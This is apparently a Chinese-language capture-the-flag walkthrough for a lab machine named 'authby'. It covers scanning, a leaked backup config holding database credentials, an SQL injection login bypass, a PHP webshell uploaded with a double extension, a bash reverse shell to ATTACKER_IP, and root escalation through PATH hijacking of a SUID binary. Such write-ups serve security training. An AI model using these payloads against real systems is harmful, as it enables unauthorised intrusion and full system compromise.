nmap -sC -sV -oN nmap/authby 192.168.XXX.XXX
發現:
80/tcp → Apache HTTP Server,提供一個登入介面
22/tcp → OpenSSH(標準設定)
主要攻擊面為網站登入頁面與上傳功能。
目錄暴力掃描
gobuster dir -u http://192.168.XXX.XXX -w /usr/share/wordlists/dirb/common.txt -x php,txt
找到的有趣路徑:
/login.php
/register.php
/dashboard.php
/config.php~(備份檔)
配置檔洩漏
/config.php~
(備份檔)內含明文資料庫憑證,例如:
$DB_USER="authby";
$DB_PASS="authby123";
嘗試預設或弱密碼失敗。
在登入表單上測試 SQL Injection:
' OR '1'='1' -- -
結果:成功繞過驗證,登入為 admin。
上傳取得命令執行
在登入後的介面發現檔案上傳功能(只允許 .jpg)。繞過方法:
使用雙副檔名上傳 shell.php.jpg。
上傳後的 webshell 可透過 GET 參數執行命令,例如:
http://192.168.XXX.XXX/uploads/shell.php.jpg?cmd=id
建立反向 shell(示例):
<?php system($_GET['cmd']); ?>
呼叫 URL 啟動反連回 shell:
/uploads/shell.php.jpg?cmd=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
在取得初始殼後查詢:
id
whoami
→ 使用者為 www-data。
使用本機偵查工具(例如 linPEAS)發現:
存在一個 SUID 可執行檔:/usr/bin/authby(自定義二進位檔)。
對該二進位用 strings 檢查顯示它在執行某些外部命令,但沒有使用完整路徑(例如呼叫 cp 而非 /bin/cp)。
利用 PATH 劫持提權
步驟:
cd /tmp
echo '/bin/bash' > cp
chmod +x cp
export PATH=/tmp:$PATH
/usr/bin/authby
因為 authby 以 SUID 執行並呼叫 cp,當 PATH 被操控時,會跑 /tmp/cp(我們的惡意檔),進而取得 root shell。
cat /root/root.txt